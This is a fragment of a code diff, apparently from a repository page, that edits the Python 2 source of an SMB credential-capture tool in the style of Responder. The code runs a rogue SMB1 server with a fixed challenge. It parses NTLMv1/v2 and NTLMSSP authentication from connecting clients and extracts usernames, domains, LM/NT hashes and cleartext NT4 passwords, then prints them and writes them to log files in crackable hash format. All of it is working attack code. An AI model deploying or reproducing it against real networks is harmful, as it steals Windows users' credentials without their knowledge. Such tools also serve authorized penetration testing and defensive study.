outfile = "./logs/SMB-NTLMSSPv1-Client-"+client+".txt"
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
|
||||
WriteData(outfile, WriteHash, Username+"::"+Domain)
|
||||
WriteData(settings.Config.SMBNTLMSSPv1Log % client, WriteHash, Username+"::"+Domain)
|
||||
|
||||
if NthashLen > 60:
|
||||
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
|
@ -125,56 +139,42 @@ def ParseSMBHash(data,client):
|
|||
print text("[SMB] NTLMv2 (SSP) Address : %s" % client)
|
||||
print text("[SMB] NTLMv2 (SSP) Username : %s\\%s" % (Domain, Username))
|
||||
print text("[SMB] NTLMv2 (SSP) Hash : %s" % SMBHash)
|
||||
|
||||
outfile = "./logs/SMB-NTLMSSPv2-Client-"+client+".txt"
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
|
||||
WriteData(outfile, WriteHash, Username+"::"+Domain)
|
||||
WriteData(settings.Config.SMBNTLMSSPv2Log % client, WriteHash, Username+"::"+Domain)
|
||||
|
||||
# Parse SMB NTLMv1/v2
|
||||
def ParseLMNTHash(data,client):
|
||||
def ParseLMNTHash(data, client):
|
||||
|
||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
NthashLen = struct.unpack('<H',data[53:55])[0]
|
||||
Bcc = struct.unpack('<H',data[63:65])[0]
|
||||
Username, Domain = tuple([e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]])
|
||||
|
||||
if NthashLen > 25:
|
||||
FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen]
|
||||
LmHash = FullHash.encode('hex')[:32].upper()
|
||||
NtHash = FullHash.encode('hex')[32:].upper()
|
||||
|
||||
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
||||
Username, Domain = tuple(var)
|
||||
FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex')
|
||||
LmHash = FullHash[:32].upper()
|
||||
NtHash = FullHash[32:].upper()
|
||||
|
||||
print text("[SMB] NTLMv2 Address : %s" % client)
|
||||
print text("[SMB] NTLMv2 Username : %s\\%s" % (Domain, User))
|
||||
print text("[SMB] NTLMv2 Username : %s\\%s" % (Domain, Username))
|
||||
print text("[SMB] NTLMv2 Hash : %s" % NtHash)
|
||||
|
||||
outfile = "./logs/SMB-NTLMv2-Client-"+client+".txt"
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash)
|
||||
WriteData(outfile, WriteHash, Username+"::"+Domain)
|
||||
WriteData(settings.Config.SMBNTLMv2Log % client, WriteHash, Username+"::"+Domain)
|
||||
|
||||
if NthashLen == 24:
|
||||
NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()
|
||||
LmHash = data[65:65+LMhashLen].encode('hex').upper()
|
||||
|
||||
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
|
||||
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
|
||||
Username, Domain = tuple(var)
|
||||
|
||||
print text("[SMB] NTLMv1 Address : %s" % client)
|
||||
print text("[SMB] NTLMv1 Username : %s\\%s" % (Domain, User))
|
||||
print text("[SMB] NTLMv1 Username : %s\\%s" % (Domain, Username))
|
||||
print text("[SMB] NTLMv1 Hash : %s" % NtHash)
|
||||
|
||||
outfile = "./logs/SMB-NTLMv1-Client-"+client+".txt"
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal)
|
||||
WriteData(outfile, WriteHash, Username+"::"+Domain)
|
||||
WriteData(settings.Config.SMBNTLMv1Log % client, WriteHash, Username+"::"+Domain)
|
||||
|
||||
def IsNT4ClearTxt(data):
|
||||
def IsNT4ClearTxt(data, client):
|
||||
HeadLen = 36
|
||||
Flag2 = data[14:16]
|
||||
|
||||
if Flag2 == "\x03\x80":
|
||||
if data[14:16] == "\x03\x80":
|
||||
SmbData = data[HeadLen+14:]
|
||||
WordCount = data[HeadLen]
|
||||
ChainedCmdOffset = data[HeadLen+1]
|
||||
|
@ -186,7 +186,8 @@ def IsNT4ClearTxt(data):
|
|||
|
||||
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
|
||||
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
|
||||
print text("[SMB] Clear Text Credentials: %s:%s" %(User,Password))
|
||||
print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password))
|
||||
WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password)
|
||||
|
||||
# SMB Server class, NTLMSSP
|
||||
class SMB1(BaseRequestHandler):
|
||||
|
@ -198,7 +199,6 @@ class SMB1(BaseRequestHandler):
|
|||
self.request.settimeout(1)
|
||||
|
||||
if len(data) < 1:
|
||||
print hexdump(data)
|
||||
break
|
||||
|
||||
##session request 139
|
||||
|
@ -222,7 +222,7 @@ class SMB1(BaseRequestHandler):
|
|||
|
||||
##Session Setup AndX Request
|
||||
if data[8:10] == "\x73\x00":
|
||||
IsNT4ClearTxt(data)
|
||||
IsNT4ClearTxt(data, self.client_address[0])
|
||||
|
||||
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
|
||||
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue